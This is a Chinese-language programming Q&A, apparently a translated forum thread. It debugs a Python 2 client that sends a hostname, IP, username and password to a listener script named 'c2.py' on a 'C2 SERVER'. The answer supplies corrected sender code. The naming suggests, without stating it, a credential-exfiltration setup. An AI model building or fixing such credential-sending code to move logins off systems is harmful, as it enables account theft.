Python接收器不会为每个客户端接受多条消息

时间:2017-08-06 19:55:52

标签: python-2.7 sockets

我写这篇文章的目的是将一台服务器上收集的数据发送到外部服务器。问题似乎与c2.py有关,因为mailer.py在发送数据时没有问题,但c2.py只会输出从唯一IP发送给它的1条消息。

mailer.py(将数据发送到另一台服务器上的c2.py)

C2 = "C2 SERVER"
C2PORT = 8989

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(10) 

def send(ip, usr, pw):
    try:
        try:
            s.connect((C2, C2PORT))
            s.send(socket.gethostname() + " ---> " + ip + " " + usr + " " + pw)
            print "sent"
        except socket.error, ex:
            print ex
    except KeyboardInterrupt:
        s.close()
        sys.close()

c2.py(听众坐在另一台服务器上)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('',8989))
s.listen(10)

def nodeRecv():
    while 1:
        try:
            conn, addr = s.accept()
            conn.settimeout(10)
            print conn.recv(65000)
            conn.close()
            print "1"
        except socket.error, ex:
            conn.close()
            print ex

if __name__ == "__main__":
    print "Connected to localhost:8989"
    print "Listening for nodes..."
    nodeRecv()

1 个答案:

答案 0 :(得分:1)

在收到错误的所有数据后,您无法重新打开同一个套接字并且您的服务器正在关闭连接(conn.close())。将s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)移动到该函数中并打开一个新套接字:

import socket
from time import sleep

C2 = 'localhost'
C2PORT = 8989


def send(ip, usr, pw):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        s.connect((C2, C2PORT))
        s.send(socket.gethostname() + " ---> " + ip + " " + usr + " " + pw)
        print "sent"
        sleep(5)

    except KeyboardInterrupt:
        return False

    finally:
        s.close()


for i in ['z', 'x', 'y']:
    send(i, i, i)

有关详细信息,请阅读此Question